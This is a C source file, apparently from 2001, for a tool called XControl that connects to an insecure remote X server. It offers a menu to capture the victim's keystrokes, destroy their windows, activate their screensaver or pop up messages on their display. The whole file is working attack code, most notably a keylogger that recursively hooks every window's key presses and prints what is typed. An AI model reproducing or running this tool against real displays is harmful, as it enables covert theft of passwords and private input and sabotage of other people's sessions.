/*
Program: XControl
Program by: lockdown (www.lockeddown.net)
Date: April 9, 2001

Insecure Xservers has been a problem for a very long time, this is nothing new. I still come across insecure Xservers today though.  It can also be usefull if you gain access to an account running xwindows.
 
To compile: gcc -o xcontrol xcontrol.c -lX11
When snooping the FocusIn and FocusOut doesn't work yet.  Killing windows needs some work too.  If I get a chance I'll work on that.
*/
#define XK_Return		0xFF0D
#define XK_BackSpace		0xFF08
#define XK_Delete		0xFFFF

#include <stdio.h>
#include <ctype.h>
#include <X11/Xlib.h>
#include <X11/Xlibint.h>
#include <X11/keysymdef.h>

void popup(Display *display, int screennum);
void grabkey(Display *display);
void select_window(Display *display,Window root);

int main(int argc, char *argv[])
{
  char crap[10];
  Display *display;
  XEvent *event;
  char *hostname,*wname;
  Window root,w, parent, *children;
  int screennum,choice,nchildren,i, exit = 1;

  if (argv[1] == NULL)
    hostname = ":0";
  else
    hostname=argv[1];

  display=XOpenDisplay(hostname);  
  if(display==NULL)
  {
    fprintf(stderr,"Error: Can't open display\n");
    return(1);
  }

  while (exit !=0)
  {
    w=DefaultRootWindow(display);
    screennum = DefaultScreen(display);
    XQueryTree(display,w,&root,&parent,&children,&nchildren);
    root=RootWindow(display,screennum);
    system("/usr/bin/clear");
    printf("Number of child windows: %d\n",nchildren);
    printf("XControl usage\n");
    printf("\t1.  Activate Screen Saver\n");
    printf("\t2.  Capture Keystrokes\n");
    printf("\t3.  Destroy a Window\n");
    printf("\t4.  Pop up a window with a message\n");
    printf("\t5.  Exit\n");
    printf("Enter choice: ");
    scanf("%d",&choice);
    
    /* flush buffer from scanf(), fflush() doesnt seem to work */
    fgets(crap,10,stdin);

    switch(choice)
    {
      case (1):
        XActivateScreenSaver(display);
        break;
      case (2):
        grabkey(display);
        break;
      case (3):
        for(i=0;i<nchildren;i++)
        {
          XFetchName(display,children[i],&wname);
          if(wname!=0)
            printf("%d. %s\n",i,wname);
        }  
        printf("Choose number of window you would like to destroy: ");
        scanf("%d",&i);
        XUnmapWindow(display,children[i]);
        XDestroyWindow(display,children[i]);
        XFlush(display);
        XFree(wname);
        break;
      case (4):
        popup(display,screennum);
        break;
      case (5):
        exit=0;
        break;
    }/* switch */ 
    XFree((char *)children);
  }/* while */
  XCloseDisplay(display);
  return(0);
}/* main */

void popup(Display *display, int screennum)
{
  unsigned long foreg, backg;
  Window window;
  char message[50];
  XEvent event;

  printf("Enter message to display in the window: ");
  fgets(message,49,stdin);
  message[strlen(message)-1]='\0';

  backg = WhitePixel(display, screennum);
  foreg = BlackPixel(display, screennum);
  window = XCreateSimpleWindow(display,DefaultRootWindow(display),0,0,
                               200,100,2,foreg,backg);

  XStoreName(display,window,"popup you created");
  XSelectInput(display,window,ExposureMask);
  XMapRaised(display,window);
  XNextEvent(display,&event);
  XDrawImageString(display,window,DefaultGC(display,screennum),20,30,
                   message,strlen(message));

  XFlush(display);
}/* popup */

void grabkey(Display *display)
{
  XEvent event;
  char string[256];
  int count,sizbuf,*bleh;
  KeySym retkey;
  Window window,*children,*blah;

  select_window(display,DefaultRootWindow(display));
  while(1)
  {
    XNextEvent(display,&event);
    if(event.type==FocusIn)
    {
      printf("<<FocusIN event>>");
    }/* if */
    if(event.type==FocusOut)
    {
      printf("<<FocusOut event>>");
      XQueryPointer(display,DefaultRootWindow(display),blah,&window,bleh,
                    bleh,bleh,bleh,bleh);
      XQueryTree(display,window,blah,blah,&children,bleh);
    }/* if */
    if(event.type==KeyPress)
    {
      count=XLookupString((XKeyEvent *)&event,string,255,&retkey,NULL);
      if(isprint(string[0]) && count !=0)
      {
        printf("%s",string);
      }
      switch(retkey)
      {
        /* /usr/include/X11/keysymdef.h */
        case(XK_Return):
          printf("\n");
          continue;
        case(XK_BackSpace):
        case(XK_Delete):
          printf("\b");
      }/* switch */
    }/* if */
    fflush(stdout);
  }/* for */ 
  exit(0);
}/* getkey */

void select_window(Display *display,Window root)
{
  Window parent, *child;
  int  i, numc;

  if((XQueryTree(display,root,&root,&parent,&child,&numc)==0))
  {
    perror("XQueryTree");
    exit(1);
  }
  if(numc==0)
    return;
  XSelectInput(display,root,KeyPressMask);
  for(i=0;i<numc;i++)
  {
    XSelectInput(display,child[i],KeyPressMask);
    select_window(display,child[i]);
  }
  XFree((char *)child);
}

